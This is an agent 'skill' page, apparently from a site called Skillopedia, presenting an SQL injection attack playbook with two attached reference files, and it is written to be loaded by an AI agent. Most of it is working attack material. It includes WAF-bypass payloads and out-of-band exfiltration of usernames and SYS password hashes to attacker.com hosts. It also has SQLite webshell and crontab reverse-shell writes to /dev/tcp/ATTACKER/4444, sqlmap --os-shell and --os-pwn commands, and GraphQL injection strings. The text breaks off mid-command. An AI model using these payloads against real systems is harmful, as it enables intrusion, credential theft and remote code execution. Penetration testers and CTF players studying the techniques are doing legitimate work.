sqli-sql-injection — Skillopedia

SKILL: SQL Injection — Expert Attack Playbook AI LOAD INSTRUCTION : Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md. 0. RELATED ROUTING - ghost-bits-cast-attack when the backend is Java with Jackson and your SQL keywor…

`, `id IN (1)`, `id BETWEEN 1 AND 1` |\n| SELECT filtered | | Use `handler` (MySQL), `PREPARE`+hex, or stacked queries |\n| information_schema filtered | | `mysql.innodb_table_stats`, `sys.schema_table_statistics` |\n\nAdditional WAF bypass patterns:\n\n- Polyglot: `SLEEP(1)/*' or SLEEP(1) or '\" or SLEEP(1) or \"*/`\n- Routed injection: `1' UNION SELECT 0x(inner_payload_hex)-- -` where inner payload is another full query hex-encoded\n- Second Order: inject into storage, trigger when data is used in another query later\n- PDO emulated prepare: when `PDO::ATTR_EMULATE_PREPARES=true`, stacked queries work even with parameterized-looking code\n\n---\n\n## 14. WAF BYPASS MATRIX\n\n### No-Space Bypass\n```sql\nSELECT/**/username/**/FROM/**/users\nSELECT(username)FROM(users)\n```\n\n### No-Comma Bypass\n```sql\n-- UNION with JOIN instead of comma:\nUNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c\n-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)\n-- LIMIT alternative: LIMIT 1 OFFSET 0\n```\n\n### Polyglot Injection\n```sql\nSLEEP(1)/*' or SLEEP(1) or '\" or SLEEP(1) or \"*/\n```\n\n### Routed Injection\n```sql\n-- First query returns string used as input to second query:\n' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--\n-- The returned value becomes part of another SQL context\n```\n\n### Second-Order Injection\n```\n-- Step 1: Register username: admin'--\n-- Step 2: Trigger password change (uses stored username in SQL)\n-- UPDATE users SET password='new' WHERE username='admin'--'\n```\n\n### PDO / Prepared Statement Edge Cases\n```php\n// Unsafe even with PDO when query structure is dynamic:\n$pdo->query(\"SELECT * FROM \" . $_GET['table']);\n// Or when using emulated prepares with multi-query:\n$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);\n```\n\n### Entry Point Detection (Unicode tricks)\n```\nU+02BA ʺ (modifier letter double prime) → \"\nU+02B9 ʹ (modifier letter prime) → '\n%%2727 → %27 → '\n```","attachment_filenames":["SCENARIOS.md","SQLMAP_ADVANCED.md"],"attachments":[{"filename":"SCENARIOS.md","content":"# SQL Injection — Extended Scenarios & Real-World Cases\n\n> Companion to [SKILL.md](./SKILL.md). Contains additional attack scenarios, CVE case studies, and injection techniques from real-world engagements.\n\n---\n\n## 1. SMB Out-of-Band Exfiltration (MySQL on Windows)\n\nWhen the MySQL server runs on Windows with outbound SMB allowed:\n\n```sql\nSELECT LOAD_FILE(CONCAT('\\\\\\\\', (SELECT user()), '.attacker.com\\\\share'));\n-- Triggers SMB connection → DNS lookup with data in hostname\n\n-- More complete:\nSELECT LOAD_FILE(CONCAT('\\\\\\\\attacker-ip\\\\', user(), '\\\\l.txt'));\n-- SMB authentication attempt → attacker captures NTLMv2 hash via Responder\n```\n\n**Compared to DNS exfiltration**: SMB exfil can also leak NTLM hashes, enabling offline password cracking. DNS exfil is more reliable across firewalls.\n\n---\n\n## 2. KEY Injection / URI Injection\n\nBeyond GET/POST parameters, SQL injection may occur in less-tested locations:\n\n| Injection Point | Example |\n|---|---|\n| JSON key names | `{\"admin' OR 1=1--\": \"value\"}` — if key is used in column name |\n| URI path segments | `/api/users/1 OR 1=1` — if path param enters SQL |\n| HTTP headers | `X-Forwarded-For: 127.0.0.1' OR 1=1--` |\n| Cookie values | `session=abc' UNION SELECT...` |\n| Multipart filename | `filename=\"test' OR '1'='1.jpg\"` |\n| ORDER BY from API sort param | `?sort=name;SELECT SLEEP(5)--` |\n\n---\n\n## 3. INSERT / DELETE / UPDATE Injection Differences\n\nMost SQLi training focuses on SELECT. Real applications use INSERT/UPDATE/DELETE with different exploitation strategies:\n\n### INSERT Statement Injection\n\n```sql\n-- Original: INSERT INTO logs (user, action) VALUES ('INPUT', 'login');\n-- Injection in user field:\nINPUT: admin', 'login'), ('attacker', (SELECT password FROM users LIMIT 1))--\n-- Result: INSERT INTO logs (user, action) VALUES ('admin', 'login'), ('attacker', 'actual_password')--', 'login');\n-- Exfiltrates data into a visible log table\n```\n\n### UPDATE Statement Injection\n\n```sql\n-- Original: UPDATE users SET email='INPUT' WHERE id=5;\n-- Injection: '), admin=1 WHERE username='victim'--\n-- Result: UPDATE users SET email=''), admin=1 WHERE username='victim'--' WHERE id=5;\n-- Escalates victim's privileges\n```\n\n### DELETE Statement Injection\n\n```sql\n-- Application's own statement (the injectable sink): DELETE FROM cart WHERE item_id='INPUT' AND user_id=5;\n-- Non-destructive proof: confirm injection with a time-based payload, not by widening the WHERE:\n-- Injection: 1' AND IF((SELECT 1),SLEEP(5),0)-- \n-- Note: a boolean payload (e.g. 1' OR '1'='1) would match every row (DoS / data destruction) — do not run it against real data.\n```\n\n---\n\n## 4. CVE Case: ThinkPHP5 SQL Injection\n\nThinkPHP5 framework's `where` method improperly handles array parameters:\n\n```\nPOST /index/think\\app/invokefunction\nContent-Type: application/x-www-form-urlencoded\n\nfunction=call_user_func_array&vars[0]=system&vars[1][]=id\n```\n\nError-based extraction using `updatexml`:\n```sql\nid=1' AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)--\n```\n\n---\n\n## 5. CVE Case: Django GIS SQL Injection (CVE-2020-9402)\n\nDjango's GIS `GeoQuerySet` methods (e.g., `annotate` with `RawSQL`) on Oracle backend allow error-based injection via `utl_inaddr.get_host_name`:\n\n```sql\n-- Oracle error-based exfiltration:\n' AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))--\n-- Oracle raises ORA-29257 containing the username in the error message\n\n-- DNS-based out-of-band on Oracle:\n' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--\n```\n\n**Takeaway**: Oracle-specific functions (`utl_inaddr`, `utl_http`, `dbms_ldap`) are powerful OOB channels that bypass most firewall restrictions.\n\n---\n\n## 6. SQL Injection via Different SQL Verbs\n\nApplications may use different HTTP methods and SQL verbs for the same endpoint:\n\n```text\nGET /api/items?id=1 → SELECT (read)\nPOST /api/items → INSERT (create)\nPUT /api/items/1 → UPDATE (modify)\nDELETE /api/items/1 → DELETE (remove)\n\nEach verb constructs a different SQL statement.\nTest ALL verbs, not just the one shown in the UI.\n```\n\n---\n\n## 7. Universal Password Bypass Patterns\n\n```sql\n-- Standard:\nadmin'--\nadmin' OR 1=1--\n' OR '1'='1\n\n-- With parentheses (common in PHP apps):\n') OR ('1'='1\n') OR 1=1--\n\n-- With comment variations:\nadmin'/*\nadmin' OR 1=1#\n\n-- Without quotes (numeric context):\n1 OR 1=1\n0 OR 1=1\n```\n\n---\n\n## 8. DB2 Injection Specifics\n\nDB2 uses distinct syntax and system tables.\n\n### Enumeration\n```sql\nSELECT versionnumber, version_timestamp FROM sysibm.sysversions\nSELECT schemaname FROM syscat.schemata\nSELECT inst_name FROM sysibmadm.env_inst_info\nSELECT 1 FROM sysibm.sysdummy1 -- equivalent to Oracle DUAL\n```\n\n### Blind Injection\n```sql\n-- Character extraction:\nAND ascii(substr((SELECT user FROM sysibm.sysdummy1),1,1)) > 64\n\n-- Row selection (no LIMIT):\nSELECT column FROM table FETCH FIRST 1 ROWS ONLY\n\n-- Time-based via Cartesian product (no SLEEP):\nAND 1=(SELECT COUNT(*) FROM sysibm.sysdummy1 a, sysibm.sysdummy1 b, sysibm.sysdummy1 c)\n```\n\n### Command Execution\n```sql\n-- IBM i (AS/400) only:\nCALL QSYS2.QCMDEXC('COMMAND_HERE')\n```\n\n### WAF Bypass\n```sql\n-- Avoid quotes via chr() concatenation:\nchr(65)||chr(68)||chr(77)||chr(73)||chr(78) -- 'ADMIN'\n```\n\n---\n\n## 9. Cassandra Injection Specifics (CQL)\n\nCassandra Query Language has severe limitations for injection:\n\n### Key Limitations\n- No JOIN, no UNION, no subqueries\n- No `OR` operator in WHERE clause\n- No `SLEEP()` or time-delay function\n- No built-in `USER()` function\n\n### Authentication Bypass\n```sql\n-- Null byte termination:\nadmin' ALLOW FILTERING; %00\n\n-- Multi-line comment closure:\nadmin'/* (in username)\n*/and pass>' (in password)\n```\n\n### Comments\n```sql\n/* multi-line comment */\n-- No single-line comment syntax\n```\n\n---\n\n## 10. BigQuery Injection Specifics\n\nGoogle BigQuery uses backtick-quoted identifiers and lacks traditional blind techniques.\n\n### Identification\n```sql\n-- Backtick syntax is distinctive:\nSELECT * FROM `project.dataset.table`\n\n-- System variables:\nSELECT @@project_id\n```\n\n### Enumeration\n```sql\nSELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA\n-- Fully qualified table names required: project.dataset.table\n```\n\n### Error-based\n```sql\n-- Division by zero:\n' OR if(1/(length((select('a')))-1)=1,true,false) OR '\n```\n\n### Boolean Blind\n```sql\n' AND SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1),1,1)='A' --\n```\n\n### Key Notes\n- No native `SLEEP()` function for time-based blind\n- Comments: `#`, `/* */`\n- No stacked queries support\n\n---\n\n## 11. SQLite Injection to RCE\n\nSQLite supports file operations that can escalate to code execution.\n\n### Enumeration\n```sql\nSELECT name FROM sqlite_master WHERE type='table'\nSELECT sql FROM sqlite_master WHERE name='target_table'\nSELECT * FROM pragma_table_info('target_table')\n```\n\n### Write Webshell via ATTACH DATABASE\n```sql\nATTACH DATABASE '/var/www/html/shell.php' AS pwn;\nCREATE TABLE pwn.cmd (payload text);\nINSERT INTO pwn.cmd VALUES ('\u003c?php system($_GET[\"c\"]); ?>');\n```\n\n### Write Cron Job\n```sql\nATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS cron;\nCREATE TABLE cron.job (payload text);\nINSERT INTO cron.job VALUES ('* * * * * /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"');\n```\n\n### load_extension (if enabled)\n```sql\n-- Load shared library for RCE (rarely enabled):\nSELECT load_extension('/tmp/evil.so')\n-- Windows UNC path variant:\nSELECT load_extension('\\\\attacker\\share\\evil.dll')\n```\n\n### writefile (if available)\n```sql\nSELECT writefile('/var/www/html/shell.php', '\u003c?php system($_GET[\"c\"]); ?>');\n```\n\n### Error-based\n```sql\n-- Trigger error via nonexistent function:\nCASE WHEN [condition] THEN 1 ELSE load_extension(1) END\n```\n\n### Time-based (no SLEEP)\n```sql\n-- CPU-intensive operation as delay:\nAND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000/2))))\n```\n\n---\n\n## 12. WAF Bypass Matrix\n\n### No Spaces Allowed\n```sql\n/**/UNION/**/SELECT/**/1,2,3\nUNION%09SELECT%091,2,3 -- tab character\nUNION%0BSELECT%0B1,2,3 -- vertical tab\nUNION(SELECT(1),(2),(3)) -- parentheses instead of spaces\n```\n\n### No Commas Allowed\n```sql\nUNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c\n-- CASE/JOIN substitution\nSELECT CASE WHEN 1=1 THEN 1 END FROM dual\n-- OFFSET instead of comma in LIMIT:\nLIMIT 1 OFFSET 0\n```\n\n### Polyglot Injection\n```sql\nSLEEP(1)/*' or SLEEP(1) or '\" or SLEEP(1) or \"*/\n```\n\n### Routed Injection\n```sql\n-- Nested query where inner result becomes part of outer:\n1' UNION SELECT 0x2720554e494f4e2053454c454354 -- (hex-encoded second stage)\n```\n\n### Second Order Injection\n```\nStep 1: Register username: admin'--\nStep 2: Login as admin'-- (stored in session)\nStep 3: Change password → UPDATE users SET password='new' WHERE user='admin'--'\n Effectively changes admin's password\n```\n\n---\n\n## 13. CTF-Oriented Techniques\n\n### handler (bypass SELECT filter)\n```sql\n-- When SELECT is blocked:\nhandler `table_name` open as a;\nhandler `a` read next;\nhandler `a` close;\n```\n\n### prepare + hex (bypass keyword filters)\n```sql\nSET @a=0x73656c65637420757365722829; -- hex of \"select user()\"\nPREPARE execsql FROM @a;\nEXECUTE execsql;\n```\n\n### innodb_table_stats (bypass information_schema filter)\n```sql\n-- When 'information_schema' or 'or' is filtered:\nSELECT table_name FROM mysql.innodb_table_stats WHERE database_name=database()\n```\n\n### No-column-name Injection\n```sql\n-- When column names are unknown:\nSELECT `3` FROM (SELECT 1,2,3 UNION SELECT * FROM target_table)a LIMIT 1,1\n-- Backtick number refers to positional column\n```\n\n### Double-write Bypass\n```sql\n-- When keywords are removed once:\nuunionnion sselectelect 1,2,3 ffromrom target\n-- After removal: union select 1,2,3 from target\n```\n\n### group_concat Alternative\n```sql\n-- When group_concat is filtered, use GROUP BY with error:\nSELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x\n```\n\n---\n\n## 14. DB2 Injection Specifics\n\nDB2 uses different system catalogs and has unique capabilities:\n\n```sql\n-- Version detection\nSELECT versionnumber, version_timestamp FROM sysibm.sysversions\n\n-- Current user\nSELECT user FROM sysibm.sysdummy1\n\n-- Schema enumeration\nSELECT schemaname FROM syscat.schemata\nSELECT name, tbname FROM sysibm.syscolumns WHERE tbname='USERS'\n\n-- Blind injection\nSELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END FROM sysibm.sysdummy1\n-- Character extraction:\nSELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1\n\n-- Time-based (Cartesian product amplification)\nSELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3\n\n-- Command execution (IBM i / AS/400)\nCALL QSYS2.QCMDEXC('COMMAND_STRING')\n\n-- WAF bypass: concatenate without quotes\nchr(65)||chr(68)||chr(77)||chr(73)||chr(78)\n```\n\n---\n\n## 15. Cassandra (CQL) Injection Specifics\n\nCassandra Query Language has severe limitations compared to SQL:\n\n```\n-- Key differences from SQL:\n-- * No JOIN, no UNION, no subqueries\n-- * No OR operator in WHERE clause\n-- * No SLEEP() or time-delay functions\n-- * No built-in USER() function\n-- * Comments: /* ... */ only\n\n-- Login bypass:\nusername: admin' ALLOW FILTERING; %00\n-- Multi-line comment bypass:\nusername: admin'/*\npassword: */and pass>'\n\n-- Boolean extraction via IF() in CQL:\nSELECT * FROM users WHERE user='admin' IF EXISTS\n```\n\n---\n\n## 16. BigQuery Injection Specifics\n\nGoogle BigQuery uses backticks and has unique syntax:\n\n```sql\n-- Identification: backtick syntax for identifiers\nSELECT * FROM `project.dataset.table`\n\n-- System information\nSELECT @@project_id\n\n-- Schema enumeration\nSELECT * FROM `project.dataset.INFORMATION_SCHEMA.SCHEMATA`\n-- Fully qualified: project.dataset.INFORMATION_SCHEMA.TABLES\n\n-- Comments: # and /* */\n\n-- Error-based (division by zero):\n' OR if(1/(length((select('a')))-1)=1,true,false) OR '\n\n-- Boolean-based\n' AND SUBSTRING((SELECT column FROM dataset.table LIMIT 1),1,1)='A\n\n-- IMPORTANT: No native SLEEP() function\n-- No time-based blind injection possible with standard functions\n\n-- UNION template:\n' UNION ALL SELECT (SELECT @@project_id),2,3--\n```\n\n---\n\n## 17. SQLite Injection to RCE\n\nSQLite has powerful file system interaction capabilities:\n\n```sql\n-- Enumeration\nSELECT name FROM sqlite_master WHERE type='table'\nSELECT sql FROM sqlite_master WHERE name='users'\nSELECT * FROM pragma_table_info('users')\n\n-- Blind injection\nSELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END\n-- Hex-based character extraction:\nSELECT hex(substr(password,1,1)) FROM users LIMIT 1\n\n-- Error-based\nSELECT CASE WHEN [BOOLEAN] THEN 1 ELSE load_extension(1) END\n\n-- Time-based (heavy computation)\nSELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))\n\n-- RCE via ATTACH DATABASE (write webshell)\nATTACH DATABASE '/var/www/html/shell.php' AS pwn;\nCREATE TABLE pwn.exp (payload TEXT);\nINSERT INTO pwn.exp VALUES ('\u003c?php system($_GET[\"c\"]); ?>');\n\n-- RCE via ATTACH DATABASE (write crontab)\nATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS pwn;\nCREATE TABLE pwn.exp (payload TEXT);\nINSERT INTO pwn.exp VALUES ('* * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1');\n\n-- RCE via load_extension\n-- Compile shared library with init function, then:\nSELECT load_extension('/tmp/evil.so','init_func');\n-- Windows UNC: SELECT load_extension('\\\\attacker\\share\\evil.dll');\n\n-- Write file (if enabled)\nSELECT writefile('/var/www/html/shell.php', '\u003c?php system($_GET[\"c\"]); ?>');\n```\n\n---\n\n## 18. CTF SQL Injection Techniques\n\n### handler Bypass (when SELECT is filtered)\n```sql\n-- MySQL-specific alternative to SELECT:\nhandler `tablename` open as a;\nhandler `a` read next;\nhandler `a` close;\n```\n\n### prepare + hex (when keywords are filtered)\n```sql\nSET @a=0x73656C65637420757365722C70617373776F72642066726F6D207573657273;\n-- hex of: select user,password from users\nprepare execsql from @a;\nexecute execsql;\n```\n\n### innodb_table_stats (bypass information_schema filter)\n```sql\n-- When 'information_schema' or 'or' is filtered:\nSELECT table_name FROM mysql.innodb_table_stats WHERE database_name=database()\n```\n\n### No-column-name injection\n```sql\n-- When column names are unknown:\nSELECT `1` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a\n-- Backtick numbers correspond to column positions\n```\n\n### Double-write bypass\n```sql\n-- When keywords are removed once:\nuunionnion sselectelect ffromrom\n-- After filter removes: union select from\n```\n\n### XOR blind injection\n```sql\n-- When most operators are filtered but ^ remains:\nid=1^(ascii(substr((select(flag)from(flag)),1,1))>100)^1\n```\n\n### PIPES_AS_CONCAT mode\n```sql\n-- When || is not filtered:\nSET sql_mode=PIPES_AS_CONCAT;\nSELECT 1||flag FROM flag\n-- || acts as string concatenation instead of OR\n```\n\n### Rename/Alter table trick\n```sql\n-- Rename flag table to match app's expected query:\nALTER TABLE flag RENAME TO words;\nALTER TABLE words ADD COLUMN id INT DEFAULT 1;\n-- App query: SELECT * FROM words WHERE id=1 → returns flag data\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14924,"content_sha256":"b0c6d49a2398356f29f4a02441db4b326ce34ecb3470fa23e8b32ffce46ef630"},{"filename":"SQLMAP_ADVANCED.md","content":"# SQLMap Advanced Workflow & Deep SQL Injection Techniques\n\n> **AI LOAD INSTRUCTION**: Load this when you need SQLMap tamper chain recipes, INSERT/UPDATE/DELETE injection patterns, GraphQL+SQLi, WAF bypass tamper stacking, or DB-specific advanced functions that base models miss. Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamentals.\n\n---\n\n## 1. SQLMAP — ADVANCED WORKFLOW\n\n### 1.1 Tamper Scripts Matrix\n\nTamper scripts modify payloads to evade WAF/IDS. Stack multiple with commas.\n\n| Tamper | Effect | Target |\n|---|---|---|\n| `space2comment` | `SELECT/**/username` | WAFs blocking literal spaces |\n| `space2plus` | `SELECT+username` | URL-encoded space filters |\n| `space2hash` | `SELECT%23%0ausername` | MySQL — `#\\n` acts as space |\n| `space2mssqlblank` | Replaces space with random blank chars (`%00`–`%0F`) | MSSQL |\n| `space2morehash` | More aggressive `#\\n` padding | MySQL behind strict WAF |\n| `between` | `NOT BETWEEN 0 AND` instead of `>` | WAFs blocking comparison operators |\n| `charencode` | URL-encodes all characters | Generic evasion |\n| `chardoubleencode` | Double URL-encode | Proxies that decode once before WAF |\n| `randomcase` | `SeLeCt` | Case-sensitive WAF rules |\n| `randomcomments` | `SEL/**/ECT` | Signature-based WAFs |\n| `equaltolike` | `=` → `LIKE` | WAFs blocking `=` |\n| `greatest` | `>` → `GREATEST(val,X)=val` | Operator-blocking WAFs |\n| `ifnull2ifisnull` | `IFNULL` → `IF(ISNULL(...))` | MySQL-specific WAFs |\n| `modsecurityversioned` | `/*!50000SELECT*/` | ModSecurity CRS on MySQL |\n| `modsecurityzeroversioned` | `/*!00000SELECT*/` | ModSecurity with lax version matching |\n| `unionalltounion` | `UNION ALL SELECT` → `UNION SELECT` | Rules specific to `UNION ALL` |\n| `percentage` | Insert `%` between chars: `S%E%L%E%C%T` | IIS/ASP classic |\n| `appendnullbyte` | Append `%00` | Language-level null-byte truncation |\n| `halfversionedmorekeywords` | `/*!0SELECT*/` | MySQL version comment trick |\n| `base64encode` | Base64-encode entire payload | Custom decoders |\n| `symboliclogical` | `AND` → `&&`, `OR` → `||` | Keyword-based WAFs |\n| `versionedkeywords` | `/*!SELECT*/` | MySQL versioned comments |\n| `versionedmorekeywords` | More keywords wrapped in `/*!*/` | MySQL extended |\n| `bluecoat` | Replace space after SQL keyword with `%09` | Blue Coat ProxySG |\n| `sp_password` | Append `--sp_password` at end | MSSQL log hiding |\n\n### 1.2 WAF Bypass Tamper Chain Recipes\n\n```bash\n# MySQL behind ModSecurity CRS\nsqlmap -u \"$URL\" --tamper=space2comment,between,randomcase,modsecurityversioned\n\n# MySQL behind Cloudflare\nsqlmap -u \"$URL\" --tamper=space2comment,charencode,randomcase,between\n\n# MSSQL behind IIS + generic WAF\nsqlmap -u \"$URL\" --tamper=space2mssqlblank,randomcase,charencode,sp_password\n\n# Oracle behind enterprise WAF\nsqlmap -u \"$URL\" --tamper=between,randomcase,charencode\n\n# Double-proxy (decode-once WAF in front)\nsqlmap -u \"$URL\" --tamper=chardoubleencode,space2comment,randomcase\n\n# IIS/ASP with percentage filter\nsqlmap -u \"$URL\" --tamper=percentage,space2comment,randomcase\n\n# PostgreSQL behind strict keyword WAF\nsqlmap -u \"$URL\" --tamper=space2comment,between,randomcase,symboliclogical\n```\n\n### 1.3 --technique Flags\n\nControl which injection techniques SQLMap tries:\n\n| Flag | Technique | When |\n|---|---|---|\n| `B` | Boolean-based blind | Default first-try; conditional response diff |\n| `E` | Error-based | Visible SQL errors in response |\n| `U` | UNION query-based | Inline data extraction, fastest |\n| `S` | Stacked queries | Multi-statement support (MSSQL, PostgreSQL) |\n| `T` | Time-based blind | No visible diff; last resort |\n| `Q` | Inline queries | Subquery within another statement |\n\n```bash\n# Only try UNION and error-based (fast, less noise):\nsqlmap -u \"$URL\" --technique=UE\n\n# Stacked queries for MSSQL xp_cmdshell:\nsqlmap -u \"$URL\" --technique=S --os-shell\n\n# Blind-only (stealthy recon):\nsqlmap -u \"$URL\" --technique=BT\n```\n\n### 1.4 --risk and --level Combinations\n\n| Level (1–5) | Effect |\n|---|---|\n| 1 | Default; tests GET/POST params |\n| 2 | Also tests Cookie values |\n| 3 | Also tests User-Agent, Referer |\n| 4 | More payloads per parameter |\n| 5 | All parameters, all headers, all payload variants |\n\n| Risk (1–3) | Effect |\n|---|---|\n| 1 | Default; harmless payloads |\n| 2 | Adds heavy time-based payloads |\n| 3 | Adds `OR`-based payloads (may alter data — UPDATE/DELETE risk) |\n\n```bash\n# Thorough scan (headers, cookies, aggressive payloads):\nsqlmap -u \"$URL\" --level=5 --risk=3\n\n# Stealthy initial recon:\nsqlmap -u \"$URL\" --level=2 --risk=1\n\n# Cookie injection focus:\nsqlmap -u \"$URL\" --level=2 --cookie=\"token=abc*\" --risk=2\n```\n\n### 1.5 Second-Order Injection (--second-url)\n\n```bash\n# Inject into registration form, observe result on profile page:\nsqlmap -u \"https://target.com/register\" \\\n --data=\"username=test*&password=pass\" \\\n --second-url=\"https://target.com/profile\" \\\n --second-req=\"second_request.txt\"\n\n# --second-url: URL where injected payload manifests\n# --second-req: full request file for the second URL (optional)\n```\n\n### 1.6 OS-Level Exploitation\n\n```bash\n# Interactive OS shell (requires stacked queries + priv):\nsqlmap -u \"$URL\" --os-shell\n# Tries: xp_cmdshell (MSSQL), UDF (MySQL), PL/Python (PostgreSQL)\n\n# Meterpreter session:\nsqlmap -u \"$URL\" --os-pwn\n# Uploads stager, connects to Metasploit handler\n\n# Read server files:\nsqlmap -u \"$URL\" --file-read=\"/etc/passwd\"\n\n# Write webshell:\nsqlmap -u \"$URL\" --file-write=\"shell.php\" --file-dest=\"/var/www/html/shell.php\"\n\n# Specific DBMS for UDF path:\nsqlmap -u \"$URL\" --os-shell --dbms=mysql\n```\n\n### 1.7 Useful Flags Reference\n\n```bash\n# Force DBMS to skip fingerprinting:\n--dbms=mysql|mssql|oracle|pgsql|sqlite\n\n# Proxy through Burp:\n--proxy=\"http://127.0.0.1:8080\"\n\n# Custom injection marker:\n--data=\"id=1*\" # * marks the injection point\n\n# JSON body:\nsqlmap -u \"$URL\" --data='{\"id\":\"1*\"}' --content-type=\"application/json\"\n\n# WAF detection & identify:\n--identify-waf\n\n# Skip URL encoding (for raw-socket evasion):\n--skip-urlencode\n\n# Specify prefix/suffix for custom contexts:\n--prefix=\"')\" --suffix=\"-- -\"\n\n# Verbose output for debugging tamper chains:\n-v 3\n\n# Dump with specific charset (faster brute-force):\n--charset=\"0123456789abcdef\"\n\n# Threads for faster blind extraction:\n--threads=8\n\n# Flush session to re-test:\n--flush-session\n```\n\n---\n\n## 2. INSERT / UPDATE / DELETE INJECTION PATTERNS\n\n### 2.1 INSERT Statement Injection\n\nThe injected value lands inside a `VALUES(...)` clause.\n\n```sql\n-- Original:\nINSERT INTO logs (user, action) VALUES ('INPUT', 'login');\n\n-- Injected INPUT: test','login'); SELECT SLEEP(5);--\n-- Result (stacked query proves arbitrary statement execution, harmless time-based PoC):\nINSERT INTO logs (user, action) VALUES ('test','login'); SELECT SLEEP(5);--', 'login');\n```\n\n**Data exfiltration via INSERT** (when you can see the inserted row):\n\n```sql\n-- MySQL: inject subquery into visible column\nINPUT: test',(SELECT password FROM users LIMIT 1))-- -\n-- Result:\nINSERT INTO logs (user, action) VALUES ('test',(SELECT password FROM users LIMIT 1))-- -', 'login');\n\n-- Oracle: requires FROM dual in subquery\nINPUT: test'||(SELECT username FROM all_users WHERE ROWNUM=1)||'\n```\n\n**Blind INSERT exfiltration** (cannot see the row):\n\n```sql\n-- Time-based: inject IF into a column\nINPUT: test' AND IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a', SLEEP(5), 0) AND '1'='1\n```\n\n### 2.2 UPDATE Statement Injection\n\n```sql\n-- Original:\nUPDATE users SET email='INPUT' WHERE id=1;\n\n-- Overwrite another column:\nINPUT: [email protected]', is_admin='1\n-- Result:\nUPDATE users SET email='[email protected]', is_admin='1' WHERE id=1;\n\n-- Overwrite WHERE clause (escalate to all rows):\nINPUT: anything' WHERE 1=1;--\n-- Result:\nUPDATE users SET email='anything' WHERE 1=1;--' WHERE id=1;\n```\n\n**Subquery data extraction in UPDATE**:\n\n```sql\n-- Extract data into a column you can read:\nINPUT: '||(SELECT password FROM users WHERE username='admin')||'\n-- Result (PostgreSQL):\nUPDATE profile SET bio=''||(SELECT password FROM users WHERE username='admin')||'' WHERE id=1;\n-- bio now contains admin's password hash\n```\n\n### 2.3 DELETE Statement Injection\n\n```sql\n-- Application's own statement (the injectable sink):\nDELETE FROM sessions WHERE token='INPUT';\n\n-- Non-destructive proof — time-based blind extraction inside the DELETE context\n-- (confirms injection WITHOUT removing rows):\nINPUT: ' OR IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a', SLEEP(5), 0) OR '\n-- Note: a boolean payload (e.g. ' OR '1'='1) would widen the WHERE to every row and is\n-- destructive — never run it against real data; use the time-based proof above instead.\n```\n\n### 2.4 SQLMap for INSERT/UPDATE/DELETE\n\n```bash\n# SQLMap can test non-SELECT statements with stacked queries:\nsqlmap -u \"$URL\" --data=\"[email protected]\" --technique=BST --risk=3 --level=3\n\n# --risk=3 is needed: enables OR-based payloads used in UPDATE/DELETE contexts\n# Use --string or --not-string to identify success/failure responses\n```\n\n---\n\n## 3. GRAPHQL + SQL INJECTION\n\n### 3.1 Batched Query Injection\n\nGraphQL supports batched queries in a single HTTP request — each may hit different resolvers with different SQL backends:\n\n```json\n[\n {\"query\": \"{ user(id: \\\"1 OR 1=1--\\\") { name email } }\"},\n {\"query\": \"{ product(id: \\\"1 UNION SELECT username,password FROM users--\\\") { title } }\"}\n]\n```\n\n### 3.2 Nested Field Injection\n\nGraphQL resolvers often build SQL from nested field arguments:\n\n```graphql\n{\n users(where: {name: \"admin' OR '1'='1\"}) {\n id\n email\n posts(orderBy: \"created_at;SELECT SLEEP(5)--\") {\n title\n }\n }\n}\n```\n\n**Argument-level injection points**:\n\n```graphql\n# filter / where argument\n{ users(filter: {email_contains: \"' OR 1=1--\"}) { id } }\n\n# orderBy / sortBy\n{ users(orderBy: \"name ASC; WAITFOR DELAY '0:0:5'--\") { id } }\n\n# limit / offset\n{ users(limit: \"1 UNION SELECT username,password FROM admins--\") { id } }\n\n# search / full-text\n{ search(query: \"test' AND 1=CONVERT(int,(SELECT TOP 1 password FROM users))--\") { id } }\n```\n\n### 3.3 Mutation Injection\n\nMutations map to INSERT/UPDATE/DELETE — test all input fields:\n\n```graphql\nmutation {\n createUser(input: {\n name: \"test',(SELECT password FROM users LIMIT 1))-- -\"\n email: \"[email protected]\"\n }) {\n id\n }\n}\n```\n\n### 3.4 Introspection + SQLi Recon\n\nUse introspection to enumerate all arguments that might flow to SQL:\n\n```graphql\n{\n __schema {\n types {\n name\n fields {\n name\n args { name type { name } }\n }\n }\n }\n}\n```\n\nLook for args named: `id`, `filter`, `where`, `search`, `orderBy`, `sort`, `limit`, `offset` — these commonly map to SQL clauses.\n\n### 3.5 SQLMap with GraphQL\n\n```bash\n# Inline parameter marking:\nsqlmap -u \"https://target.com/graphql\" \\\n --data='{\"query\":\"{ user(id: \\\"1*\\\") 